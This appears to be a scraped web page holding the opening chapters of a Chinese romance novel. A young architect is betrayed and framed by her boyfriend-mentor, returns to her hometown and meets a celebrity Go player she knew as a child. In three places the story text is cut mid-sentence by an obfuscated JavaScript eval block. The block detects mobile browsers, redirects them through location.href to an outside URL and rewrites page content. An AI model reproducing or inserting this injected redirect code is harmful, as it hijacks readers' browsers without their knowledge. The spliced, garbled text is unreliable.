《她忘记的七件小事》 1. 楔子 “姐们儿磨蹭什么呢?这么刺激的事你不抓点紧!”许辰懿在手机里吼。 “你连续加两个月班、然后在你倒头睡的第一个整觉时被叫起来试试。”晁雨打着哈欠:“起床那不得酝酿酝酿。” “别酝酿了。生前何须久睡,死后必会长眠!” 许辰懿这人说话声音素来高亢,就跟她喜欢穿的那九厘米高跟鞋似的,加上她开跑车,从手里都能听到她没熄火的发动机震天响。 震得晁雨脑瓜子嗡嗡的。 为了避免她再度咆哮,晁雨艰难地从床上爬起来,滚下了楼。 小区门口停一辆火红的玛莎拉蒂,驾驶座上的女人正不耐烦的拿指尖敲着方向盘,远远望见晁雨,降下副驾车窗:“不是吧你?” 晁雨拉开副驾车门上车:“你要是再瞪我,眼珠子该掉出来了。” “不是,我本来还怕你心态崩了,还打算劝你来着,现在看来你心态是不是好得过分了啊?”许辰懿上下扫视着她:“你男朋友在酒吧跟人卿卿我我,被人拍到了给我通风报信,咱这是去逮人的!” “我知道啊。”晁雨又打个哈欠。 “你就穿一身家居运动服就下来了?”许辰懿拎拎她的运动裤:“你这儿沾的什么啊?不会是上次吃火锅溅的油点子吧?” 许辰懿说话间发动车子。 晁雨拽着副驾扶手:“开稳点啊,记住咱开的是车,不是神舟十八号。” 没开五分钟,许辰懿一个急刹就停下了。 “Jade美发沙龙。”晁雨有点懵:“不是说在酒吧吗?” 许辰懿已风风火火从驾驶座下来了,一把拉开副驾门把她扯下来,拽着她就进了沙龙。 晁雨被她扯得踉踉跄跄:“我今天穿运动平底鞋,你的腿比我长加上九厘米高跟鞋,你每走一步我得换算成两步,所以你能慢点么?” 许辰懿不理她,照样走得风风火火。 已有相熟的发型师迎上来:“Cici姐。” 许辰懿把手里的晁雨像小鸡崽一样交给发型师:“给她洗个头,吹个卷,别磨蹭啊动作快。” “吹个什么风格呢?” 许辰懿白人一眼:“就是她男朋友在酒吧里跟人卿卿我我、她要去逮人的那种风格。” 发型师打个响指:“明白。” “十分钟,我回来接人。”许辰懿说话间已往外走去。 十分钟后,她回来,看一眼镜子里已吹完造型的晁雨,点点头,把手里的纸袋往晁雨手里一塞,又把晁雨拽起来,拉着就往前走。 把晁雨往沙龙的更衣室里一塞:“换衣服。” 晁雨打开纸袋,叹口气。 这是许辰懿刚给她买的“战袍”,白衬衫配窄脚西裤,掐出干练腰线,看起来特别职业范儿。 作为一名全球五百强企业的助理建筑设计师,她每天在公司都要打扮得这么人模狗样,是真穿腻了。 为了不辜负许辰懿的苦心,她还是换上了。 拉开更衣室帘子,许辰懿上下扫视她一眼:“还算像个人了。” 风风火火又载着她往酒吧赶去。 - 一个漂移在酒吧门口停了车,许辰懿把钥匙随意往泊车员手里一抛,带着晁雨往里闯。 晁雨加了两个月班,是真没缓过劲来,这灯红酒绿的射灯晃得她脑仁疼。 她眯了眯眼,看许辰懿摆出一个职业化的微笑问接待台的小姑娘:“请问亚轩明总在哪个包厢?” 笑得那叫一春风化雨,完全看不出先前快气炸了的尊容。 晁雨心想:人才。 许辰懿是晁雨的同事,不过晁雨在设计部她在市场部。晁雨觉得,完全就因为这川剧变脸般的功夫,许辰懿才能在营销领域混的风生水起。 小姑娘:“请问您是……?” 许辰懿从奢品包里掏出亚轩的工作证:“同事,明总把酒喝到位了,我赶来签合同的,几千万呢,别耽误了。” 小姑娘被她唬住,在电脑上查了下:“在1027。” 许辰懿一挥手:“走。” 晁雨跟在她身后,到这会儿才有点醒眠,琢磨着说:“我还是觉得不太可能。” 今天这事的起因,是许辰懿同事发给许辰懿的一微信。 Frank:[按说我不该多嘴。] Cici:[有屁快放。] Frank:[我今儿不是请客户在BarMo吗,看见明总了。] Cici:[他也请客户在那儿很正常啊。] 明恒宇是设计一部的负责人,亚轩的金牌设计师,也是晁雨进亚轩的师父、现在的男朋友。 跟晁雨这种助理设计师不一样,明恒宇作为部门总监,偶尔也需要应酬客户。 给许辰懿发微信的同事半天没回。 Cici:[总不会是跟人卿卿我我被你撞见了吧?] Frank:[你不是跟Olive关系好么,要不,你带她来看看吧。] Frank:[不是外人,做好心理准备。] Frank:[别说是我告诉你的。] Frank:[但我不知道他们在哪个包厢,我是在走廊看到的,你自己过来想办法问吧。] 于是许辰懿放弃加班,回家载上晁雨就来了。 晁雨跟在许辰懿身后:“按你线报的说法,明恒宇是跟我们部门里的人?怎么可能,我是他的助理设计师,天天跟他在一起工作,我怎么没看出来?” 许辰懿回头瞪她一眼:“你就是太相信他了你知道么?傻白还不甜,你可怎么混!” 走到1027包厢门口,许辰懿确认了下门牌,也没敲,直接推门就进去了。 晁雨跟在她身后,在脑子里过部门的女性名单。 大家都挺好的,她是真没看出任何人跟明恒宇有猫腻。 许辰懿这一爪子推得猛,包厢里的人没任何防备,于是明恒宇愣了,明恒宇身边的人也愣了。 许辰懿愣了,许辰懿身边的晁雨也愣了。 BarMo是那种很有格调的酒吧,包厢里布置得像欧洲中古风的船舱,被岁月浸染出沉郁色调的黑胡桃木做出虚拟的舷窗,吧台也是全实木质。 包厢里有黑胶唱机,不过这会儿没放唱片,而是把投影幕布拉下来,放着一部很有格调的黑白老电影《卡萨布兰卡》。 明恒宇的手还搭在身边那人的肩上,两人显然还没从耳鬓厮磨的状态里抽离出来。 明恒宇叫了声:“小雨。” 明恒宇身边的人才如梦方醒,毕恭毕敬站起来叫她:“雨姐。” 就像每次在部门里见到晁雨一样。 那人一站起来,身段就露全了。 “完了。”晁雨凑近许辰懿身边小声说:“你这战袍白买了,我腰没人家细。” 许辰懿抿了下唇。 她想过千百种局面,可万万没想到过这一种——明恒宇的厮混对象,是设计一部的男实习生。 晁雨走进去。 站在明恒宇身边的人后退半步,可晁雨的视线越过,她的目标是明恒宇。 她说:“你站起来。” 《卡萨布兰卡》经典的英文对白在包厢里回荡,显得晁雨这一声很轻。 明恒宇站起来。 他穿衬衫配西裤。许辰懿经常和晁雨吐槽,说公司里不少男的穿正装跟卖保险似的,可毒舌如她也挑不出明恒宇的错来。 明恒宇有种恃才傲物的文艺劲,又被一种沉稳气度压着。 晁雨站在他面前。 本来刚才走进酒吧时,她在心里吐槽许辰懿百密一疏,带她吹了发型换了衣服,却忘了给她买高跟鞋。 现在想想,没买高跟鞋是对的。 她穿一双平底鞋站在明恒宇面前,比明恒宇矮一个头。她记得她大学刚毕业去亚轩面试,也还没学会穿高跟鞋,站在明恒宇面前,微微仰视的姿态。 就像她现在,以同样微微仰视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许辰懿:“你问。”她做好了跟晁雨谈人生哲理的准备。 晁雨:“你要喝酒,干嘛不在刚才的酒吧里跟我喝啊?另开个包厢不完了么。” 许辰懿瞪圆双眼:“你知道那酒吧里一瓶酒有多贵么?又不是请客户不能报销,烧钱呐!” 晁雨笑:“还行,看来你还没气得失去理智。” 许辰懿叹口气,望着马路对面的广告栏。 横幅画面被夜灯打亮,是最近「春闻杯」围棋赛的宣传海报,左侧骨相矜冷的年轻男人,是代言人辜屿。 围棋本是曲高和寡的小众运动,但辜屿凭一己之力带这项运动爆火出圈。不少人议论,近年来最火的竟不是娱乐圈哪个男idol,反而是名围棋选手。 怪物一般的智商,十一岁入段,十三岁创下博弈杯最小夺冠记录。极为凌厉的进攻风格,被圈内誉为“妖刀”。现年二十二岁的他,已成为国内围棋史上最年轻的九冠王。 去年正是在最具分量的「春闻杯」上,他凭一己之力零封韩国选手,比赛现场照流往微博,从此爆火。 令他出圈的除了实力,还有那皮相。冷白沉淡,高挑削薄,分明是生人勿近的山涧月,偏偏左耳垂一颗淡绯小痣,显出三分锋利的妖异。 他没有任何社交账号,在网上能查到的信息接近于无。据说家境惊人,因而格外低调。 偏偏这样更招人,去参加完宣传活动,小报镜头仍对准他。拍到最近的流量小花同他搭话,笑颜甜美,身体语言往他这边凑近。 他却眉目疏淡,甚是漠然。 粉丝们确信:弟弟冷淡禁欲,别说恋爱,想贴上来传绯闻都困难。 许辰懿手里捏着啤酒罐,隔着马路盯着海报上辜屿的那张脸:“你说,辜屿不会也是同吧?” 晁雨微怔了下。 随即一笑:“我上哪儿知道去?” “也是,这种弟弟也不是我们能认识的。”许辰懿哀嚎一声:“完了啊,我被明恒宇荼毒了,现在看谁都像同!” 2. 第一件小事01 喝完啤酒——主要是许辰懿喝,晁雨没怎么喝。许辰懿不行了,晁雨扶她回到酒吧门口,拿回车钥匙,叫了个代驾。 以许辰懿的酒量,几罐啤酒是不算什么的。 可许辰懿这段时间应酬太多了,叠加效应下,醉得一塌糊涂。 她醉了就开始呜呜哭,骂明恒宇这个狗男人,又跟章鱼一样攀在晁雨身上,说你怎么不跟我一起骂呢。 好不容易把她拽下车,好不容易把她扶上楼,又好不容易把她弄床上去。 晁雨靠在厨房流理台上给她冲蜂蜜水的时候,累得想笑。 这都叫什么事? 在她以如此戏剧化的方式失恋的这晚,还得她来照顾醉鬼。 她一手倦怠的抚着后颈,扫视她和许辰懿合租的这间小屋。 开放式厨房,客厅堆满许辰懿的各种衣服包包和她的各种设计图册,小得无处下脚。浴室也小,和卫生间连干湿分离都做不到,淋浴时要小心自己的头不要撞到热水器一角。 她和许辰懿毕业同一批进的公司,同届里就她俩本科生,误打误撞的也成了朋友。 一起扛过实习期。一起加班。一起对甲方骂娘。一起在年会醉得一塌糊涂。 她俩都是小城姑娘,大学毕业后,又在北京熬过这四年,从籍籍无名的实习生到在各自的部门独当一面。 得到了什么,又失去了什么。 等水烧开的时候,晁雨把自己的手机银行打开,看了下里面的存款。 她和许辰懿现在收入都不低了,还租住在这么一老破小里。因为许辰懿的钱都拿去买二手豪车买奢品包买衣服,许辰懿说想要在营销圈混下去就得撑住面子。 而她的钱都存了起来。 明恒宇和她一样来自南方小城,两人说好构筑一段平淡却稳定的生活。 她也就死心塌地,给明恒宇当了十年助理设计师。 只不过到现在,她的存款想在公司附近寸土寸金的地段买房,估计十平米都买不到。 “叮”一声,热水烧开。 她将自己从思绪中扯出来,兑了温水,冲了蜂蜜拿进许辰懿的房间。 自己简单洗了个澡,把自己扔回床上。 亚轩作为全球五百强的建筑企业,工作压力不小,她连续加了两个月的班才完成上个案子,只放一天假,明天回公司继续上班。 天塌下来都拦不住她补觉。 这么一想,她觉得明恒宇是铁人吧。明恒宇也熬了两个月,就这么一天假,还用来卿卿我我。 她迷迷糊糊睡了过去。 睡前心想:还好她跟明恒宇没什么经济往来。 骗她的感情可以,骗她的钱不行。 - 第二天一早,闹钟响得像要天崩地裂。 晁雨皱着眉从床上爬起来。 她不觉得自己醒了,洗脸刷牙化妆换衣服,都像身体出于惯性的机械化动作。 直到她插着腰在厨房里烤吐司,许辰懿揉着眼从房间出来:“嗬,上班就知道打扮得人模狗样的了。” 晁雨穿一件淡远天蓝软绸衬衫,配稍深一度的窄脚西裤。她不算高,但身材线条好,显得整个人淡薄纤长,黑长直发披在肩头。 长相并不十分出挑,五官体量不重,却有种恬然干净的气质,让看惯了各种浓颜系美女的人眼前会一亮。 晁雨扭头看许辰懿:“快去洗漱化妆,过来吃早饭。” 许辰懿走近,看她眼睛一点没肿:“你是真一点没哭啊?” “我哪儿有空哭。” 她不是装大尾巴狼,她是真没空。吃完早饭许辰懿去见客户,她匆匆出门坐地铁赶去公司,脑子里过着马上要接的那个案子。 走进办公室,一堆同事跟她打招呼:“雨姐。” “雨姐早。” 周袭看她的眼神闪了下:“雨姐。” 周袭,便是昨晚跟明恒宇卿卿我我的那个实习生。明恒宇这老狐狸贼着呢,约会都挑常请客户去的酒吧,就算被看到也能抵赖过去。 要不是荷尔蒙上头,刚巧被许辰懿同事看到他在走廊尽头这样那样,这事还真暴露不了。 晁雨望向周袭的笑容一丝不错:“早。” 这时明恒宇走进办公室。 “明总。”“明总早。” 他不用像晁雨这样挤地铁。他开路虎,衬衫和西裤更是一丝褶皱都没有。 他神情傲,嘴边缀着职业化的淡笑:“早。” 晁雨心想,就许辰懿那川剧变脸的功夫,她和明恒宇也会。 今早办公室同事看到她和明恒宇的笑容,和平时没任何两样,绝不会有任何人猜到昨晚发生了什么。 明恒宇打过招呼后就回了总监办公室。 晁雨回自己工位落座,思忖着明恒宇真够沉得住气的。 从昨晚到现在,一句对她的解释都没有。 工作了一会儿,有前辈敲敲她的办公桌:“Olive,大老板找。” 她看了眼明恒宇的办公室,百叶帘半拉着,明恒宇还在里面忙。 大老板怎么会越过明恒宇找她? 她敲敲门,走进大老板办公室。 大老板把一叠文件丢到办公桌上,语气不算善:“解释一下吧。” 她垂眸,是法务组送来的文件。 出自她们部上季度接手的一个设计方案。其中有一处细节,被原创方以“过度借鉴”为由告了。 大老板问:“这案子你是主经手人?” 她也是四年职场老油条了,几乎瞬时明白了过来。 大概从她在明恒宇手下干的第三年起,开始出现不少声音:“Olive,你这样的能力干嘛不自己做主案?别给明总做助理了。” 对此,明恒宇的说辞始终如一:“你在我手下接触的都是公司最顶级的客户,更能学到东西,再历练两年吧。” 所有的案子,无论创意是不是她做的,无一署的不是明恒宇的主创。 唯独上季度这个案子,明恒宇表态:“做得不错,主创署你的名吧。” 有一处细节是明恒宇加的,她指出来:“这是不是有过度借鉴的嫌疑?” “没问题。”明恒宇道:“我比你经验丰富多了,相信我。” - 从大老板办公室出来,晁雨照常办公。 直到午休时间,她买了两份三明治和两杯咖啡,把许辰懿叫到公司天台。 许辰懿一听就炸了:“自从两年前创意会你在大老板面前露脸后,这孙子是不是就开始提防你了啊!这明摆着给你设套呢,这是怕你功高盖主,要除掉你啊!” 晁雨很平静的咬着三明治:“我知道。” “那现在,怎么处理啊?” “要么,我继续在公司上班,等着原告方派警察来抓我。要么,我赔一笔钱,让大老板去帮我私了,我引咎辞职,以后估计也没什么建筑公司敢用我了。” “明恒宇这孙子是有多嫉贤妒能啊!且不说你跟他快四年感情,就算你是他普通一员工,他也不能看你冒头,就对你这么赶尽杀绝吧!” 晁雨还很平静的咬着三明治。 许辰懿急了:“赔的话,赔多少啊?” 晁雨望着远方悠游的云,不远处就是这城市的CBD,大楼外高悬着辜屿的巨幅海报广告。 以他目前的人气,各类广告代言拿到手软。也不知那张脸怎么长的,沉淡散漫间,剑眉星目,夺人视线。 明明二十二岁了,却罕见的带一种未被生活磨平的锋利少年气。 晁雨觉得,他和自己那么不一样。 她开口问许辰懿:“你知道我银行卡里存了多少钱么?” “多少?” “九十七万一块八毛六。”晁雨笑了笑:“他们要我赔,九十七万。” 许辰懿又炸了:“他们怎么不多要三万凑个整呢!” “上了一百万,要交税。” 许辰懿忽然紧紧攥住晁雨的胳膊。 晁雨:“干嘛?” 许辰懿:“咱公司大楼五十一层,我怕你从这儿跳下去。” “我傻啊我。”晁雨看起来始终很平静,从许辰懿的视角,她好像始终只是在欣赏对面辜屿的那张海报:“你知道吗?从我进公司,明恒宇来给我做一面,他跟我说,他会好好教给我很多东西的。” “从昨晚到今天,”晁雨咧嘴的弧度更深了些:“你看,他还真是没食言。” - 晁雨赔了那笔九十七万。 带着她余下的一块八毛六和一只行李箱,打算回老家先休息一段时间。 她老家在洵州,一座南方小城,溪水悠悠绕城而过,古朴,却落后。 许辰懿开着那辆火红的玛莎拉蒂送她去高铁站,非要往她微信里转两千块钱。 “我不要。”她给许辰懿退回去。 许辰懿这人特容易炸:“晁雨,都到什么份儿上了你玩什么骨气啊!” “不是。”晁雨扬扬唇:“我就想带着一块八毛六离开北京,多悲壮啊,让我刻骨铭心的长点教训。” 她离职那天,没哭没闹,甚至没跟明恒宇多说一句话,摘下工牌轻轻放在工位上。 明恒宇不知是出于妒才,还是不知如何终结这段一开始就为他利用的感情,总之,他是刻意给晁雨设了个套。晁雨没防备,手上一点证据都没有。 哭或者闹,于事无补,只会让姿态更难堪。 告别许辰懿,晁雨一个人拖着行李箱,登上了南归的高铁。 她的座位靠窗,发车以前,她望着窗外。 辜屿最近是红得发紫啊,就连站台上,都布置着他代言的广告。 他微仰下巴,眼神沉冽,带着禁欲气质,像这世界上任何一座华丽而冷漠的城市一样,冷冷地,审视着她这个外来客。 “滴”的一声,高铁发车拉起的速度很快,站台景致瞬时变作模糊的幻灯片。 辜屿那张清冷又漠淡的面庞,成了晁雨看向这座城市的最后一眼。 她离开了北京。 大学四年加上职场四年,埋葬了她八年的青春、奋斗、金钱和感情,带着仅存的一块八毛六,离开了北京。 - 火车抵达洵州站已是深夜十点。 晁雨觉得自己先前加班熬的那些大夜,根本还没缓过来。她睡了一路,直到进站减速才睁眼。 起身,拿过行李架上的行李箱,下车。 先给她弟打了个电话:“到车站了没?” 她弟的声音惊惶了一秒:“姐,你是今天回吗?我怎么记得是明天呢?”随即又开始跑神:“哎你那下路怎么打的?都要被人偷塔了没看见吗?” 一听就跟狐朋狗友混在一起打游戏。 晁雨没好气:“赶紧给我滚过来。” “姐,我现在开车过来还要一段时间呢,你自己打个车不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581581|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就回来了吗?” “打车。”晁雨冷笑一声:“知道你姐现在浑身上下加起来多少钱吗?” “多少?” “一块八毛六。” 晁二柱大惊:“姐,你怎么混的啊?” 晁雨他弟,大名晁霈,小时候身体太差,父母怕不好养活,取了个极接地气的小名叫“二柱子”。 就被晁雨和一众哥们笑了这么些年。 “赶紧过来。”晁雨不跟晁二柱废话,直接挂了电话。 大约二十分钟后,晁二柱电话来了:“姐,我到了,你出来吧。” 从他们家开到火车站,深夜不堵车的时候,也就二十分钟车程。因为洵州是座小城,纵横都算上,可能也就一个大一点的镇那种体量。 晁雨拖着行李箱走出去。 她弟开一辆五菱宏光,跟辆小玩具车似的,看着她放了行李箱,拉开副驾的门上车,扫一眼她的衬衫西裤,夸她:“大城市回来的就是不一样,人模狗样的。” 她一边用手势指挥她弟开车,一边道:“觉得此刻的我人模狗样你就多看两眼,明天的我就不长这样了。” 晁二柱:? 那时他还不明就里。 有一搭没一搭的聊了两句,车就开到了家门口。 她家并非商品楼,而是晁家留下的祖宅,清代建筑,全木质结构,是地方级的文物保护单位,所以整个洵州拆迁热潮的时候,也没拆到她家头上,为此她爸妈唉声叹息,直道损失了一个亿。 甚至连带着她家附近的一圈旧院子,也都保留了下来。 她家祖上出过秀才,不过祖荫并没庇佑后人。到她父母这一代,在城里卖本地特色的桂花元宵,靠手艺吃饭,不过生意还算好,不足以大富大贵,也够养活她和她弟。 她弟下车,替她拖着行李:“我是真记错时间了。你给我打电话的时候,我正在毛奶奶家打游戏呢。” 毛秀珍就住在她家附近的一个小院。 年轻时是个裁缝,后来没什么人做衣服了,她就把小院改成一个饭馆,可能她的手艺太过鬼畜,饭馆也倒闭了。那时候开茶馆的人太多,竞争白热化,她灵机一动,别出心裁把小院改成了电竞馆。 从此这里就变成了城里年轻人的据点,包括晁二柱在内。 晁二柱今年大三,回来过暑假,每天就泡在毛奶奶家的小院。 这会儿走到小院门口,他笑嘻嘻把行李箱往晁雨手里一塞:“姐,你先回去,我战局未休,剑指的方向,就是天才的故乡。” 晁雨:…… 她接过行李箱,说话间晁二柱已从前门钻进了小院。 晁雨一个人拖着行李箱往家的方向走,路过小院的后门。 这小院与她家的全木质结构不同,一个月形拱门由灰白旧石砌成。毛秀珍喜欢侍弄植物,但和人家养花弄草不同,她不整那些虚的,专种能吃的。 小院里种满了韭菜辣椒和番茄,每每给那群毛头小子做饭,顺手就在院里一摘。 就连这座月形石门,也爬满了葡萄藤。 葡萄已经成熟,果子已被摘走,只剩下青黄不接的一些掩藏在叶片里。叶片倒是浓密,几乎掩住了整个门楣,风一吹,如海浪般轻轻摆荡,滤过月光。 让碎落的月光,落在斜倚着门的那人身上。 那是一名少年。 准确的说,他肩宽,腰细,腿长,已是一名成熟男人的身形了。可他倚住石门的姿态散漫,穿黑T黑裤,看向世界的眼神懒懒的,微仰的下巴线条锋利流畅,皮肤冷白。 干净得像刚刚洗过脸,脸上水滴未干,又或者碎落的月光凝在他下巴上。 他或许在发呆,对这世界有种不经心的恣意。 让人平白想起一句诗——「长安少年游侠客,夜上戍楼看太白。」 晁雨认出来,那人是,辜屿。 她一时间有点尴尬。 毛秀珍是辜屿的外婆,从小每年夏天,辜屿都会来外婆家过暑假。晁雨小时候因为晁二柱的关系,跟这群男孩都算熟。唯独辜屿,有种与年龄不相符的冷淡沉默,从小跟她说的话加起来,可能不超过五句。 晁雨一直觉得,辜屿或许很讨厌她。 后来她渐渐长大,不稀罕跟这群男孩一起玩了,跟辜屿的接触就更少了。 再后来,她去北京读大学、实习、工作,很少在夏天回洵州了。因此,也有很多年没见过辜屿了。 镜头能极大削弱人的外貌。 在晁雨的印象里,辜屿还是当年那个削薄的少年。可现在面前的,已能算一个男人了,脸型五官比海报上立体得多,眼神不经意扫过来的时候,没来由让人心脏怦然一跳。 她竟一时说不上来,这算重逢,还是算另一种意义上的初见。 她拖着行李箱往辜屿那边走,思忖着两人的关系,介于可以打招呼也可以不打招呼的尴尬之间。 辜屿看见她没什么反应。也许,辜屿已经不记得她了。 可当她放弃打招呼的想法,欲拖着行李箱走过的时候。 辜屿倚着石门的姿势没改换,眼神淡淡,很轻地冲她压了压下巴。 她微一怔,停下脚步,站定,对他笑笑:“好久不见。” 他不经意垂眸。 眼神落在她西裤下露出的白皙脚踝。 那里一个小小淡淡的疤,长到现在还没消。 她跟他记忆里的模样,也一点都没变。 3. 第一件小事02 晁雨说完这句话,辜屿再没什么其他反应,一转身,钻进小院去了。 晁雨吁出一口气: 看吧,果然很讨厌我。 - 辜屿回到游戏房,在一台电脑前坐下,修长指骨拖过鼠标轻点。 能看出他不爱笑,配着白到偏冷调的肤色,有种拒人于千里之外的劲头。 晁二柱问他:“刚才看见我姐没?” 此时新一局已开,正是关键时分。 晁二柱的这句问话,湮没在一片键盘和鼠标的细碎敲击声里。晁二柱以为辜屿没听见,又或者他听见了懒得回答。 可过了半分钟。 辜屿微压着线条紧致的下颌:“嗯。” 他的声音也冷。有种形容把动听乐声比作“昆山玉碎”,他的声音不似玉,更像冻住的月光冰棱般撞在一起,碎落一地。 晁二柱的话题就被他这一声又勾了起来:“我跟你们说,我姐现在人模狗样的。” 有男生问:“怎么,雨姐回来了?” 晁雨在这帮男生心里,是很神奇的存在。 他们都跟晁二柱差不多年岁,晁雨比他们大个几岁。她小时候性格比现在张扬,脑子又活,把这帮小男生欺压得很惨。 甚至他们从小的压岁钱,都是上缴给晁雨帮他们“存”着。 不过等晁雨长大以后,就不怎么乐意搭理他们了。 他们也就和其他所有性别意识开始觉醒的童年玩伴一样,渐行渐远。 这会儿晁二柱摁着键盘:“回来了,我姐现在可女神了,衬衫西裤长发,就像港剧里那种特别飒的Madam,御姐范儿。” 立刻有男生把眼神递向辜屿。 那意思是:你刚才看见了,你发言。 辜屿盯着电脑屏,好似专注在游戏里。 男生们跟他的关系也有那么点微妙。说不熟吧,从小每年夏天都一起玩。说熟吧,夏天之外他们从无联系。 而且人家现在这么红。 一时间无人追问。 良久,倒是辜屿自己开口,好似低而心不在焉的:“嗯。” 他这么一声,彻底引起了其他人的兴趣:“是不是真的?” 晁雨从上大学开始,忙着实习,都是过年才短暂回来一下,这帮男生见她的机会并不多。 晁二柱十分肯定:“要不你们明天来我家吃饭,看见她就知道了。” - 晁雨把“只要睡不死,就往死里睡”这句话执行得十分彻底。 晁二柱回家的时候,她已经在梦里拿过三轮年终奖了。 第二天一早,葛洁忧心忡忡叫晁二柱:“去看看你姐怎么还没起,别是晕过去了吧?” 晁雨的房间在二楼,晁二柱踏过窄窄的旧木楼梯,走到她门口,敲了敲门:“姐?” 晁雨房间窗帘紧拉着,陷入一片沉沉的灰,不辨天日。 她睡觉习惯拿被子蒙住头,晁二柱推开门,连她一根头发丝都看不到,只看到被子在床上垄起一个小山丘。 晁二柱放开音量:“着火啦。” 晁雨不为所动。 晁二柱放低语调,用一种耳语般的音量说:“妈开始炸丸子了。” 晁雨幽幽从被子里探出一颗头来:“是加莲藕的那种吗?” “赶紧起来。”晁二柱转身出去:“今天中午我朋友他们都要来吃饭。” 晁雨慢腾腾从床上爬起来,揉了揉头发。 她这倒霉弟弟进来的真不是时候,她正在梦里拿第六轮年终奖呢。 一笔巨款啊,小二十万呢。 想到这里,她拿过床头充电的手机,点进银行卡,看了下余额:一块八毛六。 呵呵,她冷冷勾了下唇角。 让她清醒的不是她弟的呼唤,而是冰冷的现实。 她走进卫生间洗漱,晁二柱没事干,又溜进她房间,坐在书桌边跟她闲聊:“姐,你昨晚是不是遇到大明星了?” “嗯。”晁雨含着口牙膏沫:“他怎么回洵州了?” “和以前一样,来看他外婆啊。” “他现在这么火,有时间?” “不知道,人家自有安排呗。”晁二柱又问:“姐,你见到他什么感觉啊?” 晁雨刷牙的手顿了顿。 很微妙的,想起昨晚夏夜月光下,辜屿目光淡淡扫过来的那一瞬。 心脏莫名地缩紧,然后,怦地一跳。 但她是不会跟她弟说这些的:“没什么感觉,和小时候差不多吧。” 晁二柱催促她:“你别磨蹭啊,他们一会儿该到了,你赶紧收拾下。” 晁雨冲他挥挥手:“那你别打扰我,赶紧出去吧。” 晁二柱就先回了一楼堂屋。 打开电视准备刷点视频,网站一点开,开屏广告就是辜屿。 不一会儿,晁雨下楼来了。 晁二柱抬眸一看:晁雨穿一身淡灰的家居运动服,一张脸素颜无妆,一头素黑的长发很随意用鲨鱼夹夹在脑后。 “……”晁二柱:“姐,我刚才跟你说的话,你听清了么?” “什么?” “我是说,中午我那些朋友都要过来吃饭。” 晁雨点点头:“我听到了啊。” “这就意味着,大明星也要来。” “那又怎么了?” “你就……这样?完全不打扮?” 晁雨坐到罗汉床上,抢过他手里的遥控器:“认识某某茜么?” 晁二柱不明就里:“仙女姐姐,我女神。” “认识某某唯么?” “文艺天花板,我二号女神。” 晁雨切到一个自己想看的视频:“他跟这两位女神都合拍过广告,你觉得你姐我,打扮打扮,就有用了?” 晁二柱:…… 竟无法反驳。 晁雨和晁二柱去厨房跟葛洁聊了阵天,远远听到,男生们自大门口鱼贯而入。 洵州这条老街,走到头也不过十来分钟,街里街坊的都认识,直到现在都是夜不闭户,更别提白天了。 晁雨和晁二柱迎出来:“来了啊。” “雨、雨姐。”男生们看向晁二柱的眼神就十分意味深长。 晁二柱站在晁雨身后,悄悄的一手扶额。 他昨晚怎么吹牛的来着: 港剧Madam精英气质, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581582|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衬衫西裤长发,又美又飒御姐范儿。 结果现在的他姐: 淡灰家居风运动服,素颜无妆,一头长发用鲨鱼夹夹在脑后。 他放弃了:“我妈说饭菜马上做好,咱们先上楼坐会儿吧。” 晁家祖宅是一座全木质的清代老楼,饭厅在二楼。 晁二柱领着男生们往上走,老榆木略微掉漆的楼梯窄窄一道,踩上去吱呀吱呀响。 雕花的窗户半推开,夏日悠游的风吹进来,应和着天边丝丝缕缕的云。 这老房子维护起来格外麻烦,经常漏雨,马桶常常堵,老电路带不起空调容易跳闸。可坐在这视野开阔的饭厅里,望着窗外的石榴花。 又觉得一切都是值得的。 葛洁在楼下喊一句:“准备开饭啦。” 男生们来晁家是来熟了的,又都纷纷下楼涌进厨房,去帮着端菜。 晁雨最后一个端着盘清炒苋菜上楼。 一个叫马超的男生,赶紧接过她手里的盘子:“雨姐,我来。” 晁二柱瞥他一眼:“平时没见你这么勤快。” 马超低声冲晁二柱道:“可能小时候被你姐欺压惯了,一在她附近,自动调整成狗腿模式。” 葛洁解了围裙,和男生们围坐于桌边。 窗口灌入的一阵夏风间,晁雨轻轻扫了眼。 辜屿没来。 可按晁二柱的说法,他该是要来的。 晁雨正想着,就听窄窄的旧木楼梯又一阵细响。 大概那声音太幽微,像一根隐形的细线吊起人的心脏,让人不自禁抬眸去看拾阶而来的人。 是辜屿。 晁雨眼神很快的在他脸上扫了下,又移开。 还好,没有月光做滤镜,他那张脸清隽依然,却没昨夜那么大杀伤力。 晁雨放下一颗心来。 葛洁招呼辜屿:“怎么来迟了?快坐。” 有人起哄:“葛阿姨一向最喜欢他。” 辜屿跟葛洁打了招呼,视线掠过圆桌。 这桌子也是清代的旧物了,梨花木的硕大一张,雕花拙朴到有些过时,可很结实,男生们围坐桌旁,也没坐满。 这时又有点微妙。 辜屿刚回洵州不久,顶着爆火的光环,跟男生们一年没见,加上人渐渐长大,对社会角色这事生出了实感,打游戏的时候还好,一起吃饭,就总生出有点不知聊什么的尴尬。 只有晁二柱浑然不觉:“我这边还有空座。” 辜屿看了眼,脚步一转,坐到了晁雨旁边。 